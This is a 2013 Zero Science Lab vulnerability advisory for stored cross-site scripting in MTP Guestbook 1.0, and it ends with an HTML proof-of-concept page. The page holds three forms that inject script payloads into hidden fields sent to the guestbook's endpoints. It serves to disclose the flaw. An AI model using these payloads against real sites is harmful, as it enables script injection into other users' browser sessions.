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MTP Guestbook 1.0 Multiple Remote Script Insertion Vulnerabilities


Vendor: MTP Scripts
Product web page: http://www.morephp.net
Affected version: 1.0

Summary: MTP Guestbook allows you to put a guestbook on your website.
Your visitors can sign it and leave a message. The entries can be edited
and deleted in the admin area.

Desc: MTP Guestbook script suffers from multiple stored cross-site scripting
vulnerabilities. The issues are triggered when input passed via several
parameters to several scripts is not properly sanitized before being returned
to the user. This can be exploited to execute arbitrary HTML and script code
in a user's browser session in context of an affected site.

Tested on: Linux, Apache2


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5131
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5131.php


17.02.2013

-->

<html>
<head>
<title>MTP Guestbook 1.0 Multiple Remote Script Insertion Vulnerabilities</title>
</head>
<body><center>
<form method="POST" action="http://localhost/mtp_guestbook/blocked.php">
<input type="hidden" name="simbol" value='"><script>alert(1);</script>' />
<input type="hidden" name="action" value="add" />
<input type="submit" value="XSS #1" />
</form>
<br /><br />
<form method="POST" action="http://localhost/mtp_guestbook/insert_user.php">
<input type="hidden" name="ins_city" value='"><script>alert(2);</script>' />
<input type="hidden" name="ins_country" value="MK" />
<input type="hidden" name="ins_email" value="lab@zeroscience.mk" />
<input type="hidden" name="ins_fname" value='"><script>alert(3);</script>' />
<input type="hidden" name="ins_pass" value="thricerpass" />
<input type="hidden" name="ins_username" value="thricer" />
<input type="submit" value="XSS #2" />
</form>
<br /><br />
<form method="POST" action="http://localhost/mtp_guestbook/ajax_cat_ins.php">
<input type="hidden" name="name" value='"><script>alert(4);</script>' />
<input type="submit" value="XSS #3" />
</form>
</center></body>
</html>